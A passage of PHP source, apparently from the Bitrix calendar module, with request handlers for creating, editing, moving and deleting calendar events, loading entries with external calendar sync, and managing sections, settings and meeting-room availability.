			'TZ_TO' => $tzTo,
			'NAME' => $name,
			'SECTIONS' => $sectId,
			'LOCATION' => array("NEW" => $location),
			"REMIND" => $remind,
			"IS_MEETING" => !!self::$request['is_meeting']
		);

		if ($location && !CCalendarLocation::checkAccessibility(trim(self::$request['location']), array('fields' => $arFields)))
		{
			$arFields['LOCATION'] = '';
			$locationBusyWarning = true;
		}

		$arAccessCodes = array();
		if (isset(self::$request['access_codes']) && is_array(self::$request['access_codes']))
		{
			$arAccessCodes = self::$request['access_codes'];
			if (!count($arAccessCodes) || CCalendar::GetType() != 'user' || CCalendar::IsPersonal())
			{
				$arAccessCodes[] = 'U'.CCalendar::GetUserId();
			}
			$arAccessCodes = array_unique($arAccessCodes);
		}

		$arFields['IS_MEETING'] = !empty($arAccessCodes) && $arAccessCodes != array('U'.CCalendar::GetUserId());
		if ($arFields['IS_MEETING'])
		{
			$arFields['ATTENDEES_CODES'] = $arAccessCodes;
			$arFields['ATTENDEES'] = CCalendar::GetDestinationUsers($arAccessCodes);
		}

		if (self::$request['exclude_users'] && count($arFields['ATTENDEES']) > 0)
		{
			$excludeUsers = explode(",", self::$request['exclude_users']);
			$arFields['ATTENDEES_CODES'] = array();
			if (count($excludeUsers) > 0)
			{
				$arFields['ATTENDEES'] = array_diff($arFields['ATTENDEES'], $excludeUsers);
				foreach ($arFields['ATTENDEES'] as $userId)
				{
					$arFields['ATTENDEES_CODES'][] = 'U'.intval($userId);
				}
			}
		}

		$arFields['MEETING_HOST'] = CCalendar::GetType() == 'user' && CCalendar::GetOwnerId() != CCalendar::GetUserId() ? CCalendar::GetOwnerId() : CCalendar::GetUserId();

		$arFields['MEETING'] = array(
			'HOST_NAME' => CCalendar::GetUserName($arFields['MEETING_HOST']),
			'NOTIFY' => self::$request['meeting_notify'] === 'Y',
			'ALLOW_INVITE' => self::$request['meeting_allow_invite'] === 'Y',
			'MEETING_CREATOR' => CCalendar::GetUserId()
		);

		$newId = CCalendar::SaveEvent(array(
			'arFields' => $arFields,
			'silentErrorMode' => false
		));

		$entries = array();
		$arAttendees = array();
		$eventIds = array($newId);

		if ($newId)
		{
			$arFilter = array(
				"ID" => $newId,
				"FROM_LIMIT" => CCalendar::Date(CCalendar::Timestamp($arFields["DATE_FROM"]) - CCalendar::DAY_LENGTH * 10, false),
				"TO_LIMIT" => CCalendar::Date(CCalendar::Timestamp($arFields["DATE_TO"]) + CCalendar::DAY_LENGTH * 90, false)
			);

			$entries = CCalendarEvent::GetList(
				array(
					'arFilter' => $arFilter,
					'parseRecursion' => true,
					'fetchAttendees' => true,
					'userId' => CCalendar::GetUserId()
				)
			);

			if ($arFields['IS_MEETING'])
			{
				\Bitrix\Main\FinderDestTable::merge(array(
					"CONTEXT" => "CALENDAR",
					"CODE" => \Bitrix\Main\FinderDestTable::convertRights($arAccessCodes, array('U'.CCalendar::GetUserId()))
				));
			}
		}

		self::OutputJSRes(self::$reqId, array(
			'id' => $newId,
			'entries' => $entries,
			'attendees' => $arAttendees,
			'eventIds' => array_unique($eventIds),
			'location_busy_warning' => $locationBusyWarning
		));
	}

	public static function editEntry()
	{
		if (CCalendar::GetReadonlyMode() || !CCalendarType::CanDo('calendar_type_view', CCalendar::GetType()))
			return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));

		$id = intVal(self::$request['id']);
		if (isset(self::$request['section']))
		{
			$sectId = intVal(self::$request['section']);
			self::$request['sections'] = array($sectId);
		}
		else
		{
			$sectId = intVal(self::$request['sections'][0]);
		}

		if (CCalendar::GetType() != 'user' || CCalendar::GetOwnerId() != CCalendar::GetUserId()) // Personal user's calendar
		{
			if (!$id && !CCalendarSect::CanDo('calendar_add', $sectId, CCalendar::GetUserId()))
				return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));

			if ($id && !CCalendarSect::CanDo('calendar_edit', $sectId, CCalendar::GetUserId()))
				return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));
		}

		// Default name for events
		self::$request['name'] = trim(self::$request['name']);
		if (self::$request['name'] == '')
			self::$request['name'] = Loc::getMessage('EC_DEFAULT_EVENT_NAME');

		$remind = array();
		if (isset(self::$request['reminder']))
		{
			foreach (self::$request['reminder'] as $remindValue)
				$remind[] = array('type' => 'min', 'count' => intval($remindValue));
			//$remind[] = array('type' => self::$request['remind']['type'], 'count' => intval(self::$request['remind']['count']));
		}

		$rrule = self::$request['EVENT_RRULE'];
		if (self::$request['rrule_endson'] == 'never')
		{
			unset($rrule['COUNT']);
			unset($rrule['UNTIL']);
		}
		elseif (self::$request['rrule_endson'] == 'count')
		{
			if (intval($rrule['COUNT']) <= 0)
				$rrule['COUNT'] = 10;
			unset($rrule['UNTIL']);
		}
		elseif (self::$request['rrule_endson'] == 'until')
		{
			unset($rrule['COUNT']);
		}

		// Date & Time
		$dateFrom = self::$request['date_from'];
		$dateTo = self::$request['date_to'];
		$skipTime = isset(self::$request['skip_time']) && self::$request['skip_time'] == 'Y';

		if (!$skipTime)
		{
			$dateFrom .= ' '.self::$request['time_from_real'];
			$dateTo .= ' '.self::$request['time_to_real'];
		}
		$dateFrom = trim($dateFrom);
		$dateTo = trim($dateTo);

		// Timezone
		$tzFrom = self::$request['tz_from'];
		$tzTo = self::$request['tz_to'];
		if (!$tzFrom && isset(self::$request['default_tz']))
		{
			$tzFrom = self::$request['default_tz'];
		}
		if (!$tzTo && isset(self::$request['default_tz']))
		{
			$tzTo = self::$request['default_tz'];
		}

		if (isset(self::$request['default_tz']) && self::$request['default_tz'] != '')
		{
			CCalendar::SaveUserTimezoneName(CCalendar::GetUserId(), self::$request['default_tz']);
		}

		$arFields = array(
			"ID" => $id,
			"DATE_FROM" => $dateFrom,
			"DATE_TO" => $dateTo,
			'TZ_FROM' => $tzFrom,
			'TZ_TO' => $tzTo,
			'NAME' => self::$request['name'],
			'DESCRIPTION' => trim(self::$request['desc']),
			'SECTIONS' => self::$request['sections'],
			'COLOR' => self::$request['color'],
			'ACCESSIBILITY' => self::$request['accessibility'],
			'IMPORTANCE' => isset(self::$request['importance']) ? self::$request['importance'] : 'normal',
			'PRIVATE_EVENT' => self::$request['private_event'] == 'Y',
			'RRULE' => $rrule,
			'LOCATION' => array(
				"OLD" => self::$request['location_old'],
				"NEW" => self::$request['location_new']
			),
			"REMIND" => $remind,
			"IS_MEETING" => !!self::$request['is_meeting'],
			"SKIP_TIME" => $skipTime
		);

		$arAccessCodes = array();
		if (isset(self::$request['EVENT_DESTINATION']))
		{
			foreach(self::$request["EVENT_DESTINATION"] as $v => $k)
			{
				if(strlen($v) > 0 && is_array($k) && !empty($k))
				{
					foreach($k as $vv)
					{
						if(strlen($vv) > 0)
						{
							$arAccessCodes[] = $vv;
						}
					}
				}
			}

			if (!count($arAccessCodes) || CCalendar::GetType() != 'user' || CCalendar::IsPersonal())
				$arAccessCodes[] = 'U'.CCalendar::GetUserId();

			$arAccessCodes = array_unique($arAccessCodes);
		}

		$arFields['IS_MEETING'] = !empty($arAccessCodes) && $arAccessCodes != array('U'.CCalendar::GetUserId());
		if ($arFields['IS_MEETING'])
		{
			$arFields['ATTENDEES_CODES'] = $arAccessCodes;
			$arFields['ATTENDEES'] = CCalendar::GetDestinationUsers($arAccessCodes);
		}

		if (self::$request['exclude_users'] && count($arFields['ATTENDEES']) > 0)
		{
			$excludeUsers = explode(",", self::$request['exclude_users']);
			$arFields['ATTENDEES_CODES'] = array();
			if (count($excludeUsers) > 0)
			{
				$arFields['ATTENDEES'] = array_diff($arFields['ATTENDEES'], $excludeUsers);
				foreach ($arFields['ATTENDEES'] as $userId)
				{
					$arFields['ATTENDEES_CODES'][] = 'U'.intval($userId);
				}
			}
		}

		if (CCalendar::GetType() == 'user' && CCalendar::GetOwnerId() != CCalendar::GetUserId())
		{
			$arFields['MEETING_HOST'] = CCalendar::GetOwnerId();
		}
		else
		{
			$arFields['MEETING_HOST'] = CCalendar::GetUserId();
		}

		$arFields['MEETING'] = array(
			'HOST_NAME' => CCalendar::GetUserName($arFields['MEETING_HOST']),
			'NOTIFY' => self::$request['meeting_notify'] === 'Y',
			'REINVITE' => self::$request['meeting_reinvite'] === 'Y',
			'ALLOW_INVITE' => self::$request['allow_invite'] === 'Y',
			'MEETING_CREATOR' => CCalendar::GetUserId()
		);

		// Userfields for event
		$arUFFields = array();
		foreach (self::$request as $field => $value)
		{
			if (substr($field, 0, 3) == "UF_")
			{
				$arUFFields[$field] = $value;
			}
		}

		$newId = CCalendar::SaveEvent(array(
			'arFields' => $arFields,
			'UF' => $arUFFields,
			'silentErrorMode' => false,
			'recursionEditMode' => $_REQUEST['rec_edit_mode'],
			'currentEventDateFrom' => CCalendar::Date(CCalendar::Timestamp(self::$request['current_date_from']), false)
		));

		$arEvents = array();
		$arAttendees = array();
		$eventIds = array($newId);
		if ($newId)
		{
			$arFilter = array(
				"ID" => $newId,
				"FROM_LIMIT" => CCalendar::Date(CCalendar::Timestamp($arFields["DATE_FROM"]) - CCalendar::DAY_LENGTH * 10, false),
				"TO_LIMIT" => CCalendar::Date(CCalendar::Timestamp($arFields["DATE_TO"]) + CCalendar::DAY_LENGTH * 90, false)
			);

			$arEvents = CCalendarEvent::GetList(
				array(
					'arFilter' => $arFilter,
					'parseRecursion' => true,
					'fetchAttendees' => true,
					'userId' => CCalendar::GetUserId()
				)
			);

			if ($arFields['IS_MEETING'])
			{
				\Bitrix\Main\FinderDestTable::merge(array(
					"CONTEXT" => "CALENDAR",
					"CODE" => \Bitrix\Main\FinderDestTable::convertRights($arAccessCodes, array('U'.CCalendar::GetUserId()))
				));
			}

			if ($arEvents && $arFields['IS_MEETING'])
				$arAttendees = CCalendarEvent::GetLastAttendees();

			if (in_array($_REQUEST['rec_edit_mode'], array('this', 'next')))
			{
				unset($arFilter['ID']);
				$arFilter['RECURRENCE_ID'] = ($arEvents && $arEvents[0] && $arEvents[0]['RECURRENCE_ID']) ? $arEvents[0]['RECURRENCE_ID'] : $newId;

				$resRelatedEvents = CCalendarEvent::GetList(
					array(
						'arFilter' => $arFilter,
						'parseRecursion' => true,
						'fetchAttendees' => true,
						'userId' => CCalendar::GetUserId()
					)
				);

				foreach ($resRelatedEvents as $ev)
				{
					$eventIds[] = $ev['ID'];
				}
				$arEvents = array_merge($arEvents, $resRelatedEvents);
			}
			elseif ($id && $arEvents && $arEvents[0] && CCalendarEvent::CheckRecurcion($arEvents[0]))
			{
				$recId = $arEvents[0]['RECURRENCE_ID'] ? $arEvents[0]['RECURRENCE_ID'] : $arEvents[0]['ID'];
				if ($arEvents[0]['RECURRENCE_ID'] && $arEvents[0]['RECURRENCE_ID'] !== $arEvents[0]['ID'])
				{
					unset($arFilter['RECURRENCE_ID']);
					$arFilter['ID'] = $arEvents[0]['RECURRENCE_ID'];
					$resRelatedEvents = CCalendarEvent::GetList(
						array(
							'arFilter' => $arFilter,
							'parseRecursion' => true,
							'fetchAttendees' => true,
							'userId' => CCalendar::GetUserId()
						)
					);
					$eventIds[] = $arEvents[0]['RECURRENCE_ID'];
					$arEvents = array_merge($arEvents, $resRelatedEvents);
				}

				if ($recId)
				{
					unset($arFilter['ID']);
					$arFilter['RECURRENCE_ID'] = $recId;
					$resRelatedEvents = CCalendarEvent::GetList(
						array(
							'arFilter' => $arFilter,
							'parseRecursion' => true,
							'fetchAttendees' => true,
							'userId' => CCalendar::GetUserId()
						)
					);

					foreach ($resRelatedEvents as $ev)
					{
						$eventIds[] = $ev['ID'];
					}
					$arEvents = array_merge($arEvents, $resRelatedEvents);
				}
			}
		}

		echo \Bitrix\Main\Web\Json::encode(array(
			'id' => $newId,
			'entries' => $arEvents,
			'attendees' => $arAttendees,
			'eventIds' => array_unique($eventIds)
		));
	}

	public static function moveEventToDate()
	{
		if (CCalendar::GetReadonlyMode() || !CCalendarType::CanDo('calendar_type_view', CCalendar::GetType()))
			return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));

		$id = intVal($_POST['id']);
		$sectId = intVal($_POST['section']);
		$reload = $_POST['recursive'] === 'Y';
		$locationBusyWarning = false;
		$busyWarning = false;

		if (CCalendar::GetType() != 'user' || CCalendar::GetOwnerId() != CCalendar::GetUserId()) // Personal user's calendar
		{
			if (!$id && !CCalendarSect::CanDo('calendar_add', $sectId, CCalendar::GetUserId()))
				return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));

			if ($id && !CCalendarSect::CanDo('calendar_edit', $sectId, CCalendar::GetUserId()))
				return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));
		}

		$skipTime = isset($_POST['skip_time']) && $_POST['skip_time'] == 'Y';
		$arFields = array(
			"ID" => $id,
			"DATE_FROM" => CCalendar::Date(CCalendar::Timestamp($_POST['date_from']), !$skipTime),
			"SKIP_TIME" => $skipTime
		);

		if (isset($_POST['date_to']))
			$arFields["DATE_TO"] = CCalendar::Date(CCalendar::Timestamp($_POST['date_to']), !$skipTime);
		$timezone = $_POST['timezone'];
		if (!$skipTime && $_POST['set_timezone'] == 'Y' && $_POST['timezone'])
		{
			$arFields["TZ_FROM"] = $_POST['timezone'];
			$arFields["TZ_TO"] = $_POST['timezone'];
		}

		if (isset(self::$request['location'])
			&& !CCalendarLocation::checkAccessibility(trim(self::$request['location']), array('fields' => $arFields)))
		{
			$locationBusyWarning = true;
			$reload = true;
		}

		if ($_POST['is_meeting'] === 'Y' && is_array($_POST['attendees']))
		{
			$usersToCheck = array();
			foreach ($_POST['attendees'] as $attId)
			{
				if ($attId !== CCalendar::GetUserId())
				{
					$userSettings = CCalendarUserSettings::Get(intval($attId));
					if($userSettings && $userSettings['denyBusyInvitation'])
					{
						$usersToCheck[] = intval($attId);
					}
				}
			}

			if (count($usersToCheck) > 0)
			{
				$fromTs = CCalendar::Timestamp($arFields["DATE_FROM"]);
				$toTs = CCalendar::Timestamp($arFields["DATE_TO"]);
				$fromTs = $fromTs - CCalendar::GetTimezoneOffset($timezone, $fromTs);
				$toTs = $toTs - CCalendar::GetTimezoneOffset($timezone, $toTs);
				$dateFromUtc = CCalendar::Date($fromTs);
				$dateToUtc = CCalendar::Date($toTs);

				$accessibility = CCalendar::GetAccessibilityForUsers(array(
					'users' => $usersToCheck,
					'from' => $dateFromUtc, // date or datetime in UTC
					'to' => $dateToUtc, // date or datetime in UTC
					'curEventId' => $id,
					'getFromHR' => true,
					'checkPermissions' => false
				));

				foreach($accessibility as $userId => $entries)
				{
					foreach($entries as $entry)
					{
						$entFromTs = CCalendar::Timestamp($entry["DATE_FROM"]);
						$entToTs = CCalendar::Timestamp($entry["DATE_TO"]);

						$entFromTs -= CCalendar::GetTimezoneOffset($entry['TZ_FROM'], $entFromTs);
						$entToTs -= CCalendar::GetTimezoneOffset($entry['TZ_TO'], $entToTs);

						if ($entFromTs < $toTs && $entToTs > $fromTs)
						{
							$busyWarning = true;
							$reload = true;
							break;
						}
					}

					if ($busyWarning)
						break;
				}
			}
		}

		if (!$busyWarning && !$locationBusyWarning)
		{
			if ($_POST['recursive'] === 'Y')
			{
				CCalendar::SaveEventEx(array(
					'arFields' => $arFields,
					'silentErrorMode' => false,
					'recursionEditMode' => 'this',
					'currentEventDateFrom' => CCalendar::Date(CCalendar::Timestamp($_POST['current_date_from']), false)
				));
			}
			else
			{
				$id = CCalendar::SaveEvent(array(
					'arFields' => $arFields,
					'silentErrorMode' => false
				));
			}
		}

		self::OutputJSRes(self::$reqId, array(
			'id' => $id,
			'reload' => $reload,
			'busy_warning' => $busyWarning,
			'location_busy_warning' => $locationBusyWarning
		));
	}


	public static function deleteEntry()
	{
		if (CCalendar::GetReadonlyMode() || !CCalendarType::CanDo('calendar_type_view', CCalendar::GetType()))
			return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));

		$res = CCalendar::DeleteEvent(intVal(self::$request['entry_id']),
			true,
			array('recursionMode' => self::$request['recursion_mode'])
		);

		if ($res !== true)
			return CCalendar::ThrowError(strlen($res) > 0 ? $res : Loc::getMessage('EC_EVENT_DEL_ERROR'));

		self::OutputJSRes(self::$reqId, true);
	}

	public static function DeleteEvent()
	{
		if (CCalendar::GetReadonlyMode() || !CCalendarType::CanDo('calendar_type_view', CCalendar::GetType()))
			return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));

		$res = CCalendar::DeleteEvent(intVal($_POST['id']), true, array('recursionMode' => $_REQUEST['rec_mode']));

		if ($res !== true)
			return CCalendar::ThrowError(strlen($res) > 0 ? $res : Loc::getMessage('EC_EVENT_DEL_ERROR'));

		self::OutputJSRes(self::$reqId, true);
	}


	public static function LoadEntries()
	{
		$arHiddenSect = array();
		$finish = false;
		$monthFrom = intVal(self::$request['month_from']);
		$yearFrom = intVal(self::$request['year_from']);
		$monthTo = intVal(self::$request['month_to']);
		$yearTo = intVal(self::$request['year_to']);
		$parseRecursion = true;

		$params = array(
			'type' => CCalendar::GetType(),
			'section' => array(),
			'fromLimit' => $monthFrom ? CCalendar::Date(mktime(0, 0, 0, $monthFrom, 1, $yearFrom), false) : false,
			'toLimit' => $monthTo ? CCalendar::Date(mktime(0, 0, 0, $monthTo, 1, $yearTo), false) : false,
		);

		$connections = false;

		if (self::$request['loadNext'] == 'Y' || self::$request['loadPrevious'] == 'Y')
		{
			$params['limit'] = intVal(self::$request['loadLimit']);
			$parseRecursion = false;
		}

		if ($_REQUEST['cal_dav_data_sync'] == 'Y' && CCalendar::IsCalDAVEnabled())
		{
			$isGoogleApiEnabled = CCalendar::isGoogleApiEnabled();

			$JSConfig = array();
			CCalendar::InitExternalCalendarsSyncParams($JSConfig);
			CDavGroupdavClientCalendar::DataSync("user", CCalendar::GetOwnerId());

			if ($isGoogleApiEnabled)
            {
	            $dbConnections = CDavConnection::GetList(
		            array("SYNCHRONIZED" => "ASC"),
		            array('ACCOUNT_TYPE' => 'google_api_oauth', 'ENTITY_TYPE' => 'user', 'ENTITY_ID' => CCalendar::GetOwnerId()),
		            false,
		            false,
		            array('ID', 'ENTITY_TYPE', 'ENTITY_ID', 'ACCOUNT_TYPE', 'SERVER_SCHEME', 'SERVER_HOST', 'SERVER_PORT', 'SERVER_USERNAME', 'SERVER_PASSWORD', 'SERVER_PATH', 'SYNCHRONIZED', 'SYNC_TOKEN')
	            );
	            if ($connection = $dbConnections->Fetch())
                {
                	$connection['forceSync'] = true;
	                CCalendarSync::dataSync($connection);
                }
                CCalendar::InitExternalCalendarsSyncParams($JSConfig);
            }
			if ($JSConfig['connections'])
				$connections = $JSConfig['connections'];
		}

		$bGetTask = false;
		if (is_array($_REQUEST['active_sect']))
		{
			foreach($_REQUEST['active_sect'] as $sectId)
			{
				if ($sectId == 'tasks')
					$bGetTask = true;
				elseif (intval($sectId) > 0)
					$params['section'][] = intval($sectId);
			}
		}

		if (is_array($_REQUEST['hidden_sect']))
		{
			foreach($_REQUEST['hidden_sect'] as $sectId)
			{
				if ($sectId == 'tasks')
					$arHiddenSect[] = 'tasks';
				elseif(intval($sectId) > 0)
					$arHiddenSect[] = intval($sectId);
			}
		}

		$arAttendees = array(); // List of attendees for each event Array([ID] => Array(), ..,);
		$entries = array();


		$activeSections = [];
		if (count($params['section']) > 0)
		{
			$sect = CCalendarSect::GetList(array(
					'arFilter' => array(
						'ID'=> $params['section'],
						'ACTIVE' => 'Y'
					)
				)
			);
			foreach($sect as $section)
			{
				$activeSections[] = $section['ID'];
			}
			$params['section'] = $activeSections;
		}

		if (count($params['section']) > 0)
		{
			$arFilter = array(
				'OWNER_ID' => CCalendar::GetOwnerId(),
				'SECTION' => $params['section']
			);

			CCalendarEvent::SetLastAttendees(false);

			if (isset($params['fromLimit']))
			{
				$arFilter["FROM_LIMIT"] = $params['fromLimit'];
			}
			if (isset($params['toLimit']))
			{
				$arFilter["TO_LIMIT"] = $params['toLimit'];
			}

			if ($params['type'] == 'user')
			{
				$fetchMeetings = in_array(CCalendar::GetMeetingSection($arFilter['OWNER_ID']), $params['section']);
			}
			else
			{
				$fetchMeetings = in_array(CCalendar::GetCurUserMeetingSection(), $params['section']);
				if ($params['type'])
				{
					$arFilter['CAL_TYPE'] = $params['type'];
				}
			}

			$res = CCalendarEvent::GetList(
				array(
					'arFilter' => $arFilter,
					'parseRecursion' => $parseRecursion,
					'fetchAttendees' => true,
					'userId' => CCalendar::GetCurUserId(),
					'fetchMeetings' => $fetchMeetings,
					'setDefaultLimit' => false,
					'limit' => $params['limit']
				)
			);

			$finish = $params['limit'] && count($res) < $params['limit'];
			$entries = array();
			$lastDateTimestamp = 0;
			$firstDateTimestamp = INF;
			foreach($res as $entry)
			{
				if(in_array($entry['SECT_ID'], $params['section']))
				{
					$entries[] = $entry;

					if (self::$request['loadNext'] == 'Y' && !CCalendarEvent::CheckRecurcion($entry) && $entry['DATE_TO_TS_UTC'] > $lastDateTimestamp)
					{
						$lastDateTimestamp = $entry['DATE_TO_TS_UTC'];
					}
					elseif(self::$request['loadPrevious'] == 'Y' && !CCalendarEvent::CheckRecurcion($entry) && $entry['DATE_FROM_TS_UTC'] < $lastDateTimestamp)
					{
						$firstDateTimestamp = $entry['DATE_FROM_TS_UTC'];
					}
				}
			}

			if (self::$request['loadNext'] == 'Y')
			{
				$params['toLimit'] = CCalendar::Date($lastDateTimestamp);
			}
			if (self::$request['loadPrevious'] == 'Y')
			{
				$params['fromLimit'] = CCalendar::Date($firstDateTimestamp);
			}

			if(!$parseRecursion)
			{
				foreach($entries as $entry)
				{
					if (in_array($entry['SECT_ID'], $params['section']))
					{

						if (CCalendarEvent::CheckRecurcion($entry))
						{
							CCalendarEvent::ParseRecursion($entries, $entry, array(
								'fromLimit' => $params['fromLimit'],
								'toLimit' => $params['toLimit'],
								'instanceCount' => false,
								'preciseLimits' => true
							));
						}
					}
				}
			}

			$arAttendees = CCalendarEvent::GetLastAttendees();
		}

		if (is_array($_REQUEST['sup_sect']))
		{
			$arDisplayedSPSections = array();
			foreach($_REQUEST['sup_sect'] as $sectId)
			{
				$arDisplayedSPSections[] = intval($sectId);
			}

			if (count($arDisplayedSPSections) > 0)
			{
				$arSuperposedEvents = CCalendarEvent::GetList(
					array(
						'arFilter' => array(
							"FROM_LIMIT" => $params['fromLimit'],
							"TO_LIMIT" => $params['toLimit'],
							"SECTION" => $arDisplayedSPSections
						),
						'parseRecursion' => true,
						'fetchAttendees' => true,
						'userId' => CCalendar::GetUserId()
					)
				);

				$entries = array_merge($entries, $arSuperposedEvents);
			}
		}

		//  **** GET TASKS ****
		if ($bGetTask)
		{
			$tasksEntries = CCalendar::getTaskList(
				array(
					'type' => CCalendar::GetType(),
					'ownerId' => CCalendar::GetOwnerId()
				)
			);

			if(count($tasksEntries) > 0)
			{
				$entries = array_merge($entries, $tasksEntries);
			}
		}

		self::OutputJSRes(self::$reqId, array(
			'entries' => $entries,
			'attendees' => $arAttendees,
			'connections' => $connections,
			'finish' => $finish
		));
	}

	public static function EditSection()
	{
		$id = intVal($_POST['id']);
		$bNew = (!isset($id) || $id == 0);

		if ($bNew) // For new sections
		{
			if (CCalendar::GetType() == 'group')
			{
				// It's for groups
				if (!CCalendarType::CanDo('calendar_type_edit_section', 'group'))
					return CCalendar::ThrowError('[se01]'.Loc::getMessage('EC_ACCESS_DENIED'));
			}
			else if (CCalendar::GetType() == 'user')
			{
				if (!CCalendar::IsPersonal()) // If it's not owner of the group.
					return CCalendar::ThrowError('[se02]'.Loc::getMessage('EC_ACCESS_DENIED'));
			}
			else // other types
			{
				if (!CCalendarType::CanDo('calendar_type_edit_section', CCalendar::GetType()))
					return CCalendar::ThrowError('[se03]'.Loc::getMessage('EC_ACCESS_DENIED'));
			}
		}
		// For existent sections
		elseif (!CCalendar::IsPersonal() && !$bNew && !CCalendarSect::CanDo('calendar_edit_section', $id, CCalendar::GetUserId()))
		{
			return CCalendar::ThrowError(Loc::getMessage('[se02]EC_ACCESS_DENIED'));
		}

		$type = CCalendar::GetType();
		$arFields = Array(
				'CAL_TYPE' => $type,
				'ID' => $id,
				'NAME' => trim($_POST['name']),
				'COLOR' => $_POST['color'],
				'OWNER_ID' => ($type == 'user' || $type == 'group') ? CCalendar::GetOwnerId() : '',
				'ACCESS' => is_array($_POST['access']) ? $_POST['access'] : array()
		);

		if ($bNew)
		{
			$arFields['IS_EXCHANGE'] = $_POST['is_exchange'] == 'Y';
		}

		$id = intVal(CCalendar::SaveSection(array('arFields' => $arFields)));

		if ($id > 0)
		{
			CCalendarSect::SetClearOperationCache(true);
			$oSect = CCalendarSect::GetById($id, true, true);
			if (!$oSect)
				return CCalendar::ThrowError(Loc::getMessage('EC_CALENDAR_SAVE_ERROR'));

			if (CCalendar::GetType() == 'user' && isset($_POST['is_def_meet_calendar']) && $_POST['is_def_meet_calendar'] == 'Y')
			{
				$set = CCalendarUserSettings::Get(CCalendar::GetOwnerId());
				$set['meetSection'] = $id;
				CCalendarUserSettings::Set($set, CCalendar::GetOwnerId());
			}

			self::OutputJSRes(self::$reqId, array('calendar' => $oSect, 'accessNames' => CCalendar::GetAccessNames()));
		}

		if ($id <= 0)
			return CCalendar::ThrowError(Loc::getMessage('EC_CALENDAR_SAVE_ERROR'));
	}

	public static function DeleteSection()
	{
		$sectId = intVal($_REQUEST['id']);

		if (!CCalendar::IsPersonal() && !CCalendarSect::CanDo('calendar_edit_section', $sectId, CCalendar::GetUserId()))
			return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));

		CCalendar::DeleteSection($sectId);

		self::OutputJSRes(self::$reqId, array('result' => true));
	}

	public static function HideCaldavSection()
	{
		$sectId = intVal($_REQUEST['id']);

		if (!CCalendar::IsPersonal() && !CCalendarSect::CanDo('calendar_edit_section', $sectId, CCalendar::GetUserId()))
		{
			return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));
		}

		$connectionRemoved = false;
		$oSect = CCalendarSect::GetById($sectId);
		// For exchange we change only calendar name
		if ($oSect && $oSect['CAL_DAV_CON'])
		{
			CCalendarSect::Edit(array(
					'arFields' => array(
							"ID" => $sectId,
							"ACTIVE" => "N"
					)));

			// Check if it's last section from connection - remove it
			$sections = CCalendarSect::GetList(
					array('arFilter' => array(
							'CAL_DAV_CON' => $oSect['CAL_DAV_CON'],
							'ACTIVE' => 'Y'
					)));

			if(!$sections || count($sections) == 0)
			{
				CCalendar::RemoveConnection(array('id' => intval($oSect['CAL_DAV_CON']), 'del_calendars' => 'Y'));
				$connectionRemoved = true;
			}
		}

		self::OutputJSRes(self::$reqId, array(
				'result' => true,
				'refreshView' => $connectionRemoved
		));
	}

	public static function SaveSettings()
	{
		// Personal
		CCalendarUserSettings::Set($_REQUEST['user_settings']);

		// Save access for type
		if (CCalendarType::CanDo('calendar_type_edit_access', CCalendar::GetType()))
		{
			// General
			if (is_array($_REQUEST['settings']))
			{
				$_REQUEST['settings']['week_holidays'] = implode('|',$_REQUEST['settings']['week_holidays']);
				CCalendar::SetSettings($_REQUEST['settings']);
			}

			CCalendarType::Edit(array(
				'arFields' => array(
					'XML_ID' => CCalendar::GetType(),
					'ACCESS' => $_REQUEST['type_access']
				)
			));
		}

		if (isset($_POST['user_timezone_name']))
		{
			CCalendar::SaveUserTimezoneName(CCalendar::GetUserId(), $_POST['user_timezone_name']);
		}

		self::OutputJSRes(self::$reqId, array('result' => true));
	}

	public static function SetStatus()
	{
		CCalendarEvent::SetMeetingStatusEx(array(
			'attendeeId' => CCalendar::GetUserId(),
			'eventId' => intVal($_REQUEST['event_id']),
			'parentId' => intVal($_REQUEST['parent_id']),
			'status' => in_array($_REQUEST['status'], array('Q', 'Y', 'N')) ? $_REQUEST['status'] : 'Q',
			'reccurentMode' => in_array($_REQUEST['reccurent_mode'], array('this', 'next', 'all')) ? $_REQUEST['reccurent_mode'] : false,
			'currentDateFrom' => CCalendar::Date(CCalendar::Timestamp($_REQUEST['current_date_from']), false)
		));

		self::OutputJSRes(self::$reqId, true);
	}

	public static function SetMeetingParams()
	{
		CCalendarEvent::SetMeetingParams(
				CCalendar::GetUserId(),
				intVal($_REQUEST['event_id']),
				array(
						'ACCESSIBILITY' => $_REQUEST['accessibility'],
						'REMIND' =>  $_REQUEST['remind']
				)
		);
		self::OutputJSRes(self::$reqId, true);
	}

	public static function GetGroupMemberList()
	{
		if (CCalendar::GetType() == 'group')
			self::OutputJSRes(self::$reqId, array('users' => CCalendar::GetGroupMembers(CCalendar::GetOwnerId())));
	}

	public static function GetAccessibility()
	{
		$res = CCalendar::GetAccessibilityForUsers(array(
				'users' => $_POST['users'],
				'from' => CCalendar::Date(CCalendar::Timestamp($_POST['from'])),
				'to' => CCalendar::Date(CCalendar::Timestamp($_POST['to'])),
				'curEventId' => intVal($_POST['cur_event_id']),
				'getFromHR' => true
		));
		self::OutputJSRes(self::$reqId, array('data' => $res));
	}

	public static function GetMeetingRoomAccessibility()
	{
		$res = CCalendar::GetAccessibilityForMeetingRoom(array(
				'id' => intVal($_POST['id']),
				'from' => CCalendar::Date(CCalendar::Timestamp($_POST['from'])),
				'to' => CCalendar::Date(CCalendar::Timestamp($_POST['to'])),
				'curEventId' => intVal($_POST['cur_event_id'])
		));

		self::OutputJSRes(self::$reqId, array('data' => $res));
	}

	public static function CheckMeetingRoom()
	{
		$from = CCalendar::Date(CCalendar::Timestamp($_POST['from']));
		$to = CCalendar::Date(CCalendar::Timestamp($_POST['to']));
		$loc_old = $_POST['location_old'] ? CCalendar::ParseLocation(trim($_POST['location_old'])) : false;
		$loc_new = CCalendar::ParseLocation(trim($_POST['location_new']));

		$Params = array(
				'dateFrom' => $from,
				'dateTo' => $to,
				'regularity' => 'NONE',
				'members' => isset($_POST['guest']) ? $_POST['guest'] : false,
		);

		if (intVal($_POST['id']) > 0)
